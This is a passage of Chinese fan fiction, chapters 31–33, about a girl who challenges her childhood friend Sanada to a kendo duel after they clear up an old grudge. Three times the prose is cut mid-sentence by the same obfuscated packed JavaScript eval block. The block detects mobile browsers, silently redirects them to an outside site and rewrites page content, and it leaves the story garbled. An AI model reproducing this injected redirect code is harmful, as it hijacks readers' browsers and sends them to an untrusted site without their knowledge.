第二天清晨,父亲帮着提着装备袋,送她到车站,一路叮咛:记得按时报平安,别忘了剧组那边的会议安排。斋藤不嫌罗嗦,每一条都耐心应声。 电车有节奏的轰鸣声,仿佛也在斋藤的胸腔里回荡。斋藤抱着剑道袋,目光却胶着在亮着的手机屏幕上。 她想和真田发出挑战,却不知道怎么开口。她希望一下车就能和真田碰面,然后一决胜负。 “我学剑道,又不是为了比试。” 真田曾这样说过。 她清楚地知道,如果现在直接发送挑战短信,多半会得到回绝,甚至会被他怀疑“今天是不是脑袋撞坏了”。 那就先把这些年的话说清楚。 只有把心里的结一层层摊开,告诉他自己曾经想揍他,但是这份执念早已转化成了对剑道的热爱,她要彻底将这份讨厌的痕迹抹消,所以要堂堂正正揍他一顿。 这样真田才能应该理解她为什么非要挑战。 ……当然,也有可能被当成没长大的小鬼。 这个可能性,让她那份即将涌出的解□□,瞬间凝固。 算了,先去道场。 她收起手机,抱紧怀里的剑道袋。 至少这个决定是绝对不会错的。 夜幕落下,结束剑道练习的斋藤在车站附近的便利店里挑选晚餐。 手机在裤子的口袋里震动起来。她掏出一看,屏幕上赫然是真田的名字。她立刻停下脚步,转身走出了便利店。 “真田君,怎么了?”斋藤语调却不自觉地绷紧了几分,压抑着像是做错事被抓了正着的紧张。 “你家怎么亮着灯?” 斋藤听筒里传来了室外夜晚特有的风声和规律的、有些沉重的呼吸。她立刻明白过来这个点,真田大概又在进行他的晚间跑步训练。他从她家窗外经过,看到了透出的灯光,便立刻联系了她。 斋藤愣了下,抬手捂脸。 “啊……应该是我出门前忘记关了。” “你回来了?你怎么不提前和我说。”真田的语气听起来更急切了几分。 斋藤的喉咙哽了一下,试图找个合理的借口,但最后还是用了最无脑最万用的—— “我忘记了。” “忘记了?”真田的声音明显沉了几分,带着显而易见的,对这个理由的怀疑和不悦。 好在他没有继续探究,而是问斋藤:“你回来做什么?” 斋藤深吸一口气,努力平复心头因他的追问而泛起的慌乱,她将声音稳住。 “我有事找你。” “晚上我们去公园慢慢聊,你有时间吗?” 夜晚的风,终于带着一丝凉意,驱散了白日里堆积在空气中的潮湿厚重暑气。 斋藤前往社区公园,她的手里还拿着便利店随手买来的两支“噶哩噶哩君”冰棍。 斋藤小时候有一次在参加剑道比赛前,偶然在漫画里看到一个“幸运梗”。只要能抽到冰棍签上印着“再来一根”的字样,下一场比赛就一定能拿优胜。 那个瞬间,年幼的斋藤将对“下一次优胜”的全部执念,都寄托在了那根小小的木棍上。 起初只是玩笑式的自我安慰,可执念一旦在心里生根,便开始以惊人的速度发芽生长。她强迫自己和父亲每天都要吃好几根噶哩噶哩君,直到抽中“再来一根”为止。 连着好几天,除了体重秤上的数字在不断增加,期待的字样始终没有出现。 偏偏是在一个不用训练的休息日,她随手买给真田的那根冰棍里,竟然出现了那行她朝思暮想的——“再来一根”。 年幼的斋藤几乎是下意识地,从真田手里猛地夺回了那根冰棍。她手里捏着那根“中奖”的木棍,理直气壮地冲着一脸不解的真田大喊: “真田君也希望我赢,对吧!” 当斋藤欣喜地向父亲展示从真田手里抢到的再来一根,她那一向懒散宽容的父亲,对她进行了严肃的训斥:“东西一旦送出去,就是别人的。即便是原本属于你的,也不能从别人手里再抢回来。这是规矩。” 斋藤的步子停了下来,她低头,看着冰棍,陷入沉思。 难道说,她一直给真田送东西,也是为了抢夺木棍所做的补偿? 原来她一直要别自己想的还要单纯,甚至是愚蠢。 斋藤一眼就看到了等在公园入口处的真田。他笔直地站在路灯的光线之下,身影清晰,没有融入黑暗。像一幅招牌,精准地告诉斋藤,她已经抵达了目的地。 她走上前,直接无视了他的招呼,将手里的冰棍举到了他的眼前。 “拿着,快化了。”她的语气与平日的礼貌平静相比过于直接。 两人并肩走进公园,在长椅上坐下。撕开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487303|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包装纸的清脆声响,在安静的夜里格外清晰。 距离上次和他一起来这里,已经过去一年多了。就和她料想的一样,公园里的旧设施都被精心维护过,滑梯和秋千支架上的油漆,比记忆中要鲜艳、完整得多。 白天这里一定充满了孩子们的欢声笑语。 身边的真田,显然他懒得应付手中这个对他来说过于甜腻的甜点,只是干脆利落地“咔嚓、咔嚓”几声,就将整根冰棍咬碎,吞了下去。 “中了。” 他将手中的木棍举到斋藤的面前,上面清晰地印着“再来一根”的字样。 “恭喜。”斋藤含糊地应了一声,目光却丝毫没有从自己手中的冰棍上移开。她正全神贯注地,与自己这场小小的“战役”搏斗着。 与吃相粗犷的真田不同,她小口而均匀地舔舐着冰棍,同时注意着冰棍的下端,防止有糖水滴下来,把手搞得黏黏糊糊。 真田去不远处的水池洗了个手,再坐回到长椅上时,斋藤手中的“战斗”才刚刚过半。他什么也没说,就只是坐在那儿,静静地看着她。 “……请不要看我吃东西,我会很紧张——” 话音未落,一滴糖水从冰棍边缘滑落。斋藤赶紧抬起手,用舌头狼狈地接住了那即将滴落的水滴。 身边传来了真田摇头叹气的声音。他把胳膊搁在膝盖上,百无聊赖地把玩着那根已经用水冲洗得干干净净的、中奖的木棍。 “我没中。”斋藤终于解决完了自己的那份,有些泄气地看着光秃秃的木棍。上面只有噶哩噶哩君的LOGO,和被色素与糖水浸染出的分层。 “给你。”真田很顺手地将自己手中那根洗干净的木棍递了过来。 “不要。”斋藤的身体下意识地向后缩了一下,用一种混合着嫌弃和不解的表情,盯着他手中的木棍。 这下轮到真田皱起眉了。他不理解斋藤的转变,眼睛里充满了困惑:“你以前不是还为了这个跟我抢吗?怎么你还不要了?” 斋藤早就过了玩泥巴的年纪,真田在她面前把木棍洗得再干净,但是这充其量也是一个附带一个冰棍的可回收垃圾。 “因为我现在,更相信自己的实力!”斋藤几乎是脱口而出,话说完才发觉,自己的语气里,带着明显的心虚。 然而这句冠冕堂皇的借口精准地切中了真田的逻辑。正如斋藤所料想的那样,他那严肃的表情,竟然真的缓和了下来,若有所思地点了点头:“原来如此。” “斋藤,”真田主动开口,目光重新聚焦在她身上,“你为什么特地回来找我?” “为什么那天幸村的对手突然跟不会打球了一样,什么都做不了。” “你就想问这个?” 真田的眉毛肉眼可见地因为这个问题拧了起来。他脸上清晰地写着两个字:“就这?”的失望的表情。 “因为这不是很重要,”斋藤几乎是脱口而出,“我怕等会就忘记了。” 真田耐着性子,言简意赅地解释了。 31. 挑战宣言 那是幸村在经历了病痛的绝望后,才领悟出的、能剥夺对手五感的招式,至于其中更深的原理,恐怕只有幸村自己才知道。 解释完毕,他立刻把话题拉回了正轨,语气里已经带上了焦躁:“所以,你到底有什么‘重要的事’要和我说?” 他看上去竟比斋藤这个“提问者”还要焦急。那双眼睛紧紧地盯着她,仿佛早已预知了她将要说什么,却又急切地需要从她口中亲自得到那个最终的“认证”。 斋藤深吸一口气,用冰棍的包装袋包住木棍放在长椅上,然后站起来。脱下凉鞋,赤脚踩在了公园里那片水泥浇筑的、布满粗糙沙砾的地面上。因为平日训练,斋藤的双脚已经能够面不改色的踩在这样粗糙的地面上。 她嘴里发出一声极轻的“嘿咻”,然后,开始用力地、有节奏地,原地踏步。 “你在干什么?”真田的声音里,充满了无法理解的困惑。 “我在视频上看过,”面对真田的疑问,斋藤抬头挺胸,得意地解释,“这样做,就能在道场里,踩出更好听的声音。” 她能感觉到真田那无语的视线。她知道自己此刻的行为根本算不上“教养良好”。 但她需要这个,需要用这种反常的方式找回那个身为剑士的自己。 斋藤又想到了一个新的、更迂回的切入点,一边活动身体,一边说:“说起来,真田君,你手上的那条疤——” “斋藤,”真田的声音里,终于带上了不耐烦,“不要再找这些奇怪的借口了。想说什么,就开诚布公地说。” 他急躁的打断,反而像是一记当头棒喝,让斋藤立刻闭嘴。 她停下了动作。 再次深吸一口气,想象着自己正身处那片熟悉的、让她安心的道场。 然后,她猛地向前踏出一步,整个脚掌用力地砸在地面上。 “啪——!” 清脆的声音在寂静的夜色中,显得格外响亮。如果不会影响到附近的住户,她一定同时会大喝一声,给自己打气。 斋藤的这一行为,引来了真田那带着一丝赞许的、属于指导者的评价: “气势不错。” 斋藤缓缓地、深深地弯下腰,用尽全身的力气,以一种破釜沉舟的姿态,大声喊出了那句早已在她心中演练了千百遍的话: “真田弦一郎!拜托你请和我比试一场!” “啪!” 真田手上的木棍因为他的失控被折成两半。 “哈?” 困惑不解将真田脸上的严肃的表情彻底扭曲了。他的声音,带着一种因为极度困惑而产生的沙哑,似乎是从喉咙深处挤出来的: “……你,就是为了……这个?” 斋藤没有察觉到真田语气中那份深不见底的错愕。她的姿态依然维持着剑道比赛时的庄重。她抬起头,用坚定的眼神看着坐在椅子上,身体僵硬的真田。 “是的,这非常重要!” “我说过!我现在,是不会和你比试的!” 真田猛地转开视线,声音也因为过度用力而显得比平时更大了几分,斩钉截铁的说。 “请和我比试吧!我能接触学习剑道,有了这些成就都是因为你。”见到真田这样不通情理,斋藤双手握拳,诚恳地说。 “斋藤……” 听到斋藤这发自肺腑的自白,真田再次看向斋藤,眼睛里出现了少见的,宛如平静湖面的柔和平静,呼喊着斋藤的声音多了几分温柔。 “因为,因为……我……” “你不要说了……我现在没办法……”真田低下头,像是要打断斋藤的话,抢在斋藤之前开口,但是,语气中带着艰难与羞涩,这样不够坚定的语气显然不能阻止斋藤继续说下去。 “——一直都想狠狠地揍你一顿。” 真田的身体在一瞬间明显瞬间僵住了。 “想……想揍我?” 真田看着斋藤抽着嘴角,断断续续的话语里充满着荒唐、不屑以及难以置信。 “是。”斋藤点头,“一开始,确实是这么愚蠢的理由。” “一开始?”真田追问。 斋藤抬起眼,与真田对上视线。 “但现在我真的热爱剑道,这一点毫无疑问。”她顿了顿,“只是,我和你之间必须要做个了结。用一场光明正大的对决。” 真田脸上的困惑,没有因为她这番话而减少,反而更深了。他似乎完全无法将“了结”和“对决”这两个词,与眼前这个他最熟悉的人联系起来。他用一种刨根究底的语气问: “所以你到底为什么要想揍我?” “……你果然已经忘记了。”斋藤的眼神,在那一瞬间黯淡了下去。她低下头,声音很轻地说。 “当年,在那个网球场,你因为我打扰你练习,对我发了火……那是第一次有人那样对我发火……” “——你是笨蛋吗?” 真田突然打断了她,语气里的震惊和不解,甚至压过了她话语里的失落。 斋藤猛地抬起头。 “是的,我就是个大笨蛋!”她几乎是喊了出来,积压了多年的情绪在此刻全部倾泻而出。 “因为那种小事而一直耿耿于怀的我,就是个大笨蛋!我从那天开始,就一直在生你的气!我明知道这件事根本不值得生气,可我偏偏就是放不下!所以我才决定去学剑道,我只是想找一个能堂堂正正揍你一顿的、最正经的理由!” 面对这番激烈的话语,真田沉默了。他看着她,眉头紧锁,似乎在努力地消化着什么,然后他得出了一个结论: “……那你其实一直在讨厌我?” “倒不是讨厌……”斋藤的气势弱了下来。 “不过这样很多事也能说得通了。”真田像是没听见她的辩解,自顾自地说了下去,声音里带着一种他自己都没察觉的,冰冷的自嘲,“我只是感觉你对网球的态度很奇怪,但我一直以为,你就是单纯地不喜欢。但之前你又去看迹部的比赛。那时候我就在想,或许,你只是对我个人有些意见……” “等一下!”斋藤急忙打断,“我不是去看你打决赛的吗?地区决赛和全国大赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487304|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的决赛,我都有去!” “没想到你居然这么记仇。”真田像是根本没听进她的话,用了简单的词为整件事定了性。 “记仇?”斋藤反问,这个词让斋藤委屈的记忆涌上心头,然后数落起真田。 “你居然说我记仇?你可是把我狠狠地推倒在了地上!明明是你自己太过分了!” 这一次,轮到真田惊讶地看着她。 “你真不知道?”他反问,“那时候,如果我不推开你,那颗网球就会直接砸在你的头上。” 斋藤愣住了。 她一直记得,那天,有一颗和自己一样,狼狈地滚出球场的网球。 原来那颗球,原本是会砸到她的吗? “那、那你为什么……什么都不说?”她的声音,因为震惊而颤抖。 “我看你立刻就站起来跑走了,就想,你肯定没有受伤。”真田的声音,带上了一丝急促,像是在怕再次错过解释的机会,“而且……我之前才刚刚吼过你,一时……没办法再向你开口……” 他低下头,懊悔地说着。 “……要是我那个时候,能及时地安慰你,你也不会跟我闹这么久的别扭。对不起,”他顿了顿,声音更低了,“我应该在你摔倒之后,就立刻跟你好好道歉的。” 他抬起头,看着斋藤,眼神里是前所未有的认真。 “——虽然我现在说这些也太迟了。” 斋藤愣在了原地,鼻尖一阵阵地发酸。 原来,他从来都不是把网球看得比自己重要。 泪水在眼眶里疯狂打转,斋藤仰起头,努力不让它掉下来。 “对不起……是我一直误会你了……”她的声音带着浓重的鼻音,“不过,我真的只是想把你揍一顿而已,我从来、从来没有讨厌过你……” “那我还要感谢你?”真田看着她那副快要哭出来的,没有安慰她,反而用尖锐的语气说:“明明是你自己太斤斤计较了,还一点也不坦率。” “是啊,我就是这么小心眼不坦率,”斋藤自暴自弃般地苦笑一声,“你现在想说什么,我都认了。” 她看着他,声音轻了下来,带着自嘲:“觉得我很麻烦,想和我绝交的话,都可以。那样,也就不需要和我比——” “笨蛋!”真田一声怒斥,打断了她所有的话,“谁会因为这个就跟你绝交!” 这声呵斥,虽然严厉,却瞬间抚平了斋藤心里所有委屈。 她看着他,终于忍不住笑出来。 “……谢谢真田君的宽宏大量。” 真田盯着她那张笑脸,嘴角也跟着动了动,却没有完全弯起。 忽然他像是赛场上的选手,用平日“皇帝”的锐利严肃的气场改变了刚才温情的氛围。 “斋藤君,”他放下手中折断的木棍,双手放在膝盖上,挺直背脊,目光变得专注而又认真,“现在你是想跟我一决胜负,对吗?” “嗯!”斋藤重重地点头,眼中深沉,充满胜负欲的汪洋里映入了漫天星光。 “我希望能和你一决胜负!” 32. 请示 确认了斋藤眼神中的决意,真田郑重地点了点头,用严肃的语气回应她: “我知道了。不过,既然是比试,我必须先去请示祖父大人。” 听到真田的回答,斋藤长长地舒了一口气。方才因流泪而显得感性的面容,此刻被一种发自内心的喜悦与活力彻底覆盖。 “那么,我明天再亲自上门拜访。” “祖父大人现在应该还没休息,”真田立刻否决了她的提议,“我们现在就过去。” “现在吗?”斋藤的语气显得有些犹豫,她下意识地握拳抵住嘴巴,看上去颇为为难。 “既然有人主动向我挑战,”真田的目光变得锐利起来,“我可不会多等一个晚上。” 他说着便迈开了步子。斋藤刚想跟上,走了两步才猛然发觉自己还赤着脚。她只好有些匆忙地转过身,将双脚重新塞进鞋子里。 “……可是,我的脚底现在都是灰尘,这样去拜访不太合适吧?” “进屋前在院子里的水池冲干净就行了。” 真田的语气平静无波,不是建议,也不是询问,是指示。 真田家的宅邸在月光下显得格外静谧而古朴。真田将斋藤径直领到了后院一角,一根墨绿色的橡胶水管安静地盘在地上。真田弯腰拾起水管,递到斋藤手中,沉声交代:“你在这里把脚冲干净。我先进去拿双干净的鞋给你。” 言罢,他便转身通过缘侧走回了屋内。 斋藤赤脚踩在水管周围冰凉而光滑的石砖上。她拧开水阀,水管中立刻涌出在日晒下变得微温的水流淋在她的脚背上。为了维护体面,她没有直接上手搓洗,只是任由清澈的水流淌过脚面,然后以原地踏步的形式,小心翼翼地踩踏着流水,凭着感觉清洗着脚底的尘埃。 此刻正对院子的和室拉门被拉开了。 “斋藤君?” 打开门的真田玄右卫门老师看着大晚上在自家院子里冲洗,住在附近的女孩,语气中满是难以理解。 斋藤先是关上水阀,然后笔直地站着,水管紧紧地攥在手中。 “晚上好,真田老师!” 她的声音带着来不及掩饰的仓促和紧张,但努力维持着对长辈的礼貌。 “为什么你在这里?”真田祖父的声音不带一丝波澜。 这样简短的疑问,斋藤知道这里面包含“3W”三重疑问。 “真田君和我有事想请你请示!所以我就在这个时候上门打扰了!” 祖父的目光,在一瞬间闪烁着喜悦光芒,他悠哉地反问:“有事情向我请示?你和弦一郎的事情不需要向我请示吧。” 这句反问,直接将斋藤堵在了那里。她张了张嘴,但是发不出声音。 真田老师说得没错。她和弦一郎之间的事情,确实不需要向他请示。但“这件事”不一样。 她此行的目的,是请求真田去做一件他自己曾亲口否决的事情,而给真田提出“不可比试”的或许正是眼前的老人。 那就是她在让真田忤逆自己最尊敬的祖父的要求。 斋藤这才意识到事情的严重性,而她刚才在公园里所获得勇气,随着脚底的灰尘,一并被水冲走了。 “祖父大人。” 就在斋藤不知道怎么开口的时候,真田拎着一双木屐从缘侧走到真田老师的身边,用充满敬意的声音加入了对话。 真田老师看出了斋藤的窘迫,于是将话头转向真田。 “弦一郎,”他开口,声音平稳但又亲切,“斋藤君说你们有事情想请示我。不过,看上去她有些犹豫。你来跟我说吧。” “是。”真田恭敬地应了一声,将手中的木屐轻轻放在缘侧边上,“斋藤君想和我,一决胜负。” 这句话,让真田老师脸上那丝关于“好消息”的期待彻底消失了。他那张饱经风霜的老者面庞上睿智的双眼中透着锐利的光芒。 他沉默了片刻,才缓缓开口,声音低沉: “……在剑道上?” 真田微微颔首,没有多言。 “哦……”祖父拖长语调,目光再一次落在了斋藤的身上,“主动向真田提出剑道上的比试挑战吗?这可不像你会做的事啊,斋藤君。” 他顿了顿,半是打趣半是嘲讽的语气说:“是因为成了全中的冠军,对自己的实力很有信心?” “不是的!”斋藤几乎是脱口而出。 就在斋藤急于解释的时候,真田向前踏了半步面向祖父,深深地鞠了一躬。 “祖父大人,”他的声音,比刚才更加郑重,“斋藤君有一些事情想要和我做一个了断。所以请您允许我和斋藤君,进行这场比试。” 真田祖父静静地看着自己的孙子。良久,他才缓缓地点了点头:“既然你都这么说了,那么老夫也没有什么好阻拦的。” 得到许可,斋藤的心中一喜,然后恭敬地请求道:“那么可以请您成为我们俩这场比试的裁判吗?” 听到这个请求,真田老师的脸上露出了意味深长的微笑。 “斋藤君,”他摇了摇头,目光在两个年轻人之间缓缓地扫过,“老夫觉得,这场比试,不需要什么裁判。” “你们二人之间的‘了断’,你们自己衡量裁决吧。” 真田师傅转身回房,随着和室的拉门被轻轻关上,他的气息便从庭院里消失了。 真田顺着踏石,走下缘侧,来到了依旧低头垂眼的斋藤身边。他看着她那副有些消沉的样子,皱眉问:“祖父大人都已经准许了,还有什么不满意的。” “我感觉被真田老师小看了。”斋藤的声音很轻,带着不易察觉的失落,“我是很认真地,在向你提出比试。” 真田沉默了片刻,然后用一种极其少见的耐心姿态,为她解释。 “祖父的意思是带着情绪去比试是没有办法完全发挥出实力,所以他才说先要做好了断。” 斋藤抬起头,她有些不服气地反驳:“我在比试时可是很冷静的。” “那就用事实去证明。” 真田没有听进斋藤口头地辩解,而时直接干脆地向她发出了正式的邀约。 “明天早上九点,到我家道场来。” 当比试的时间和地点,被如此明确地提出时,斋藤下意识地挺直了腰背,抬起头,那双明亮的眼眸里,重新燃起了属于剑道部主将的、锐利如刀锋的光芒。她的语气,也恢复了那种状态下才有的严谨与沉静。 “我明白了。” 临近约定的时间,穿着剑道服的斋藤踏入了真田家的玄关。真田老师早已等候在那里,亲自将她引向后院的道场。 “老夫已经说过了,家里没人会去打扰你和弦一郎的。你们两个,可以尽情地,去做个‘了断’了。” 斋藤跟在后面,只能用略带窘迫的讪笑和一句低声的“谢谢您”,来回应这份来自长辈的调侃。 真田老师“唰”地一声,拉开了道场的木门。 空荡荡的道场里,一个身着白色和藏青色剑道服,全副武装的身影正襟危坐。 是真田。 他戴着面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487305|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具,看不见表情,但那如同古老神像般的姿态,却散发着一种不怒自威的、令人窒息的强大气场。 斋藤先是向真田老师,行了一个标准的鞠躬,以示感谢。然后她转过身面向道场中央那个唯一的“对手”深深行礼。 礼毕,她正坐着换上装备,从剑道袋里取出了那把真田亲手送给她的竹剑。 如果能用这把竹剑,堂堂正正地战胜你,你应该也会很开心吧。 斋藤看着手中的竹剑,在心里对着真田说。 当斋藤穿戴整齐后,那个一直沉默的雕像终于有了动静。 “热身吧。”真田的声音,隔着面具,显得沉闷而又遥远。 虽然斋藤一大早便已晨跑热身,但她明白,剑道中的“切返”练习,不仅能预热手感,更是调整呼吸、统一精神的必要仪式。 “——斋藤君,”真田突然开口,他用一种极其认真的、不带任何私人情感的语气做出了预告。 “我绝对会全力以赴的。” 斋藤抬起头,隔着面具的缝隙,迎上他那双锐利的视线。 她身上那份平日里面对真田时的、属于青梅竹马的柔软与熟稔,在此刻被豪迈与自信彻底取代。 “正合我意。” 面对这样的斋藤,面具下的真田,似乎发出了一声极轻的、表示认可的“哼”声。 随即,他作为攻击方,开始了热身练习。 正如他预告的那样,每一次的打击,都力道十足,没有半分犹豫,没有一丝一毫的放水。那沉重的力道,通过竹刀的交击,震得斋藤的手腕微微发麻。 这让斋藤想要和他比试的心情,变得更加迫切和高昂。 双方都完成了一轮练习后,道场再次归于寂静。 “我准备好了。” 斋藤主动打破了沉默。 两人退至房间的两侧,将竹剑收于身侧,向着对方行礼。 礼毕,再同时,向前三步,走到了地板上那两条标志着起始位置的白线之后。 双方同时蹲踞,斋藤摆出了最标准的中段架势,竹刀的剑尖,稳稳地指向了真田。对面的真田像是一面完美的镜子,以同样标准的中段架势回应。 ——居然不是“上段”。 斋藤有些惊讶。因为以真田那压倒性的身体素质和“皇帝”般君临天下的个性,他应该会选择更具攻击性和压迫感的上段构才对…… “你给我专注一点!” 真田雷鸣般的呵斥,打断了斋藤的思考。 斋藤这才惊觉自己竟然在赛场上分心了。 这和平时的自己完全不一样。是因为没有裁判?还是因为这个过于私密的道场,让她不自觉地“松懈”了? 不对。和这些都没有关系。 斋藤的额角渗出了一丝冷汗。她终于意识到了自己真正“不对劲”的地方。 正是因为她过于了解“剑道”,也过于熟悉“真田弦一郎”,所以她会下意识地用那些早已烂熟于心的“刻板印象”和“应该”去预先判断他的行动。 一旦真田的行为不符合自己的预想,她的内心,就会产生瞬间的、足以致命的迷茫。 这是剑道对决中,最愚蠢、最致命的错误。 意识到这一点的瞬间,斋藤的后背几乎被冷汗浸湿。 她看着对面散发着威严气势的真田。 好在比试还没有真正开始。她还有时间做出调整。 两边同时大声呼喝,对峙的寂静,被瞬间打破,他们用气合宣告着比试开始。 33. 陷落 真田率先发起了攻击,那是一种斋藤从未在他身上见过的、如同狂风骤雨般的猛烈连击。每一次的打击,都精准而沉重,不带半分花巧,只是纯粹的、为了压垮对手而存在的进攻。 接连不断的冲击,通过竹刀的交击,疯狂地传导至斋藤的手腕和手臂。虎口被剑柄的皮革反复摩擦,传来阵阵灼热的痛感。 如果是一年前,斋藤或许对这样的进攻感到吃力。但经过日复一日、从未间断的体能训练,她的身体,早已能承受住这样的进攻。单纯依靠力量,已经无法再对她构成绝对的威胁。 进攻不断地逼退着斋藤,表面看来,她似乎完全被真田的气势所压制,若是在正式比赛里,这种行为甚至可能会被裁判警告“消极应战”。 但她清楚地知道,自己这不是“消极”,这是“试探”。 她相信,无论多么猛烈的攻击,都必然会存在破绽。只要能在那电光火石之间抓住那一瞬间,那么她就能拿下一本。 “哈!” 每一次当她用自己手中的竹剑精准地格挡,她都会从丹田深处,发出一声清亮而又充满力量的呼喊。 那与其说是给自己打气,更像是一种挑衅,像是在对他说:“你的每一记攻击,我都会接住。” 真田似乎是听懂了她那无声的挑衅。 突然,他那连绵不绝的进攻停了。取而代之的,是他猛地向前踏步,缩短距离,用体碰压制斋藤。 身形和力量都占据着绝对优势的他,选择了最能发挥这份优势的近距离博弈。破坏她的架势,摧毁她的平衡,让她在纯粹的力量面前,无计可施。 斋藤果断地保持自身的平衡,她迅速地、向斜后方撤步,化解了那份冲击,并顺势,准备从真田的侧面,发起一次凌厉的反击。 然而,真田完全料到了她的应对。 就在斋藤脱身的瞬间,他也以同样迅疾的速度,向着相反的方向后撤,让斋藤那志在必得的一击,挥了个空。 虽然斋藤知道在和高校部的那些强壮学长们比试时,他们偶尔也会用这招来压制自己。但绝不会像真田这样,用得如此理所当然,如此毫不留情。 毕竟,在众目睽睽之下,用身体优势去反复碾压一个国中女生,总归是不太体面的。 但现在,这个空旷的道场里,没有裁判,没有观众,只有他们二人。 真田在比试前,亲口许下了“要全力以赴”的诺言的 所以,他会一次又一次地,用最残酷、也最高效的“体碰”,来逼迫她、碾压她,直到她露出那个足以致命的破绽为止。 在又一次激烈的刀锷相抵中,斋藤的身体,终于因为连续承受冲击,而出现了一丝无法挽回的失衡。 就是这一瞬间,真田的剑,再次冲着斋藤的身体上得分点击打。 斋藤拼尽全力地扭转身体,试图用剑身格挡,但那份冲击力,已经超越了她能卸力的极限。 她只觉得整个世界都在天旋地转。最终,她的身体重重地向后摔倒在地。 手中的竹剑,虽然还被她死死地攥在手里,但是整个身体砸到了木地板上。 她立刻将没有脱手的竹剑架在身前,另一只手撑住身体,没有半分迟疑地一跃而起。 真田只是在斋藤摔倒在地的时候疾步走到她的身边,呼唤着她的名字表达着自己的担忧,却丝毫没有进攻的意思。 如果这个时候真田用竹刀击打着斋藤也能拿下一本,但是他没有这么做,所以他错过了这个机会。 斋藤调整了一下因为撞击而变得有些紊乱的呼吸,撞击瞬间的疼痛让她有些不安,于是她试探性地转了转肩膀和手腕,确认没有受伤后,便迈开脚步毫不犹豫地走回了场地的中心。 “喂,”真田的语气里透着烦躁与担忧,“你到底有没有事?” 可这是剑道的比赛,言语并没有任何意义。 斋藤只需要让他看到她依然能站在赛场上。 “哈!” 斋藤重新摆好中段架势,剑柄紧握,目光坚定如初。同时发出清晰响亮的呼喝,表示她还可以继续。 斋藤一直默不作声,但是真田似乎了解了斋藤的想法。他只是轻轻点头,没有再说一句话。 比试继续,真田的攻势依旧猛烈,只是他似乎不再主动使用体碰去与斋藤进行对峙? 难道真田在担心自己?担心那个身材相对矮小,力量孱弱的自己,再次狼狈地摔倒在地上吗? 斋藤感到了屈辱,用力地咬着后牙槽。 ——这是你放弃的,输了的话可别怪我。 斋藤转而改变应对策略,她不再等待,不再防守。她决定用真田最初的方式——主动出击,她连续击打着真田,而击打的部位是最难判定得分的小手。 首先,必须确保一点:平心静气。绝不能因为重复的、高速的动作,而让自己的架势出现“松懈”,更不能给对方留下一丝一毫能够反击的空档。 斋藤很清楚,这种高频率的、专攻一点的打法,对自身的体能和精神消耗极大,对自己并不算有利。 但她就是想这样去做。 她想用这种不讲理的方式,去挑战真田的“不动心”,同时,也挑战自己的极限。 但真田的个性不会让斋藤用这种方法掌控局面,他没有持续防御,而是在斋藤落剑的窗口挑开了斋藤的竹剑,并对斋藤进行打击。 真田准备将竹剑挥下,斋藤立刻将竹剑横在头部进行防御,并将身体往后撤。但她看见了真田面罩之下的眼睛里笃定胜券在握的光芒。 斋藤立刻明白了真田的对策,在比试开始时她通过闪避和防御来应对真田的攻击,自己下意识的闪避习惯已经被真田所掌握。 被抓到了! 斋藤很快反应过来,她通过步伐移动身体,避开了有效打击。 真田似乎被斋藤的反应给镇住了,有了瞬间的迟疑。 机会来了!这一本是我的了! 然而,就在斋藤准备抓住这转瞬即逝的机会,发起反击的瞬间。她没想到的是,真田大力向前踏出一步,地板发出爆裂般清脆地声音,伴随着那声震慑心魄的、强大无匹的气合,他松开右手左手握着剑的剑柄的末端,手臂和手腕娴熟地控制着竹剑的方向,将尖端对准在斋藤的喉咙,刺了下去。 ——居然是为了延长攻击距离的单手突刺。 “咕!” 纵使斋藤做好准备咬紧牙齿,喉部遭受到刺击所带来的不适感还是让一丝悲鸣从口中流出。心脏也为这一击而激烈的挣扎着,像是背叛了斋藤,为对手的精妙技艺而喝彩。 冲击力让斋藤稍微踉跄一下,但是她立刻站稳,重新调整架势,回到中段架势。不论怎样,被击中了也好好残心,这是最基本的。 真田也在击中保后迅速往后撤,摆好架势与斋藤保持距离。 因为喉部的刺激,眼睛渗出泪水模糊了视线,眼前真田的身形开始扭曲。 真田太了解自己的能力了,将自身的优势发挥到了极限。 斋藤嘴巴一张一合,牙齿发出“哒哒”地声音敲击着耳膜,但是心脏的鼓动压过了这个声音。 “突刺有效。” 斋藤一边代替裁判进行宣判比试结果,一边调整着呼吸,缓解压迫喉咙的疼痛带来的不适。她感觉脖子上的突刺印记没有几天是消不掉的。 接下来的战斗,双方的充满气势的呼号和竹剑击打的声音在道场内此起彼伏。 真田因为先取一本,心态上占据了绝对优势。他的进攻,变得比之前更加大胆、也更加激进,如同不知疲倦的怒涛。 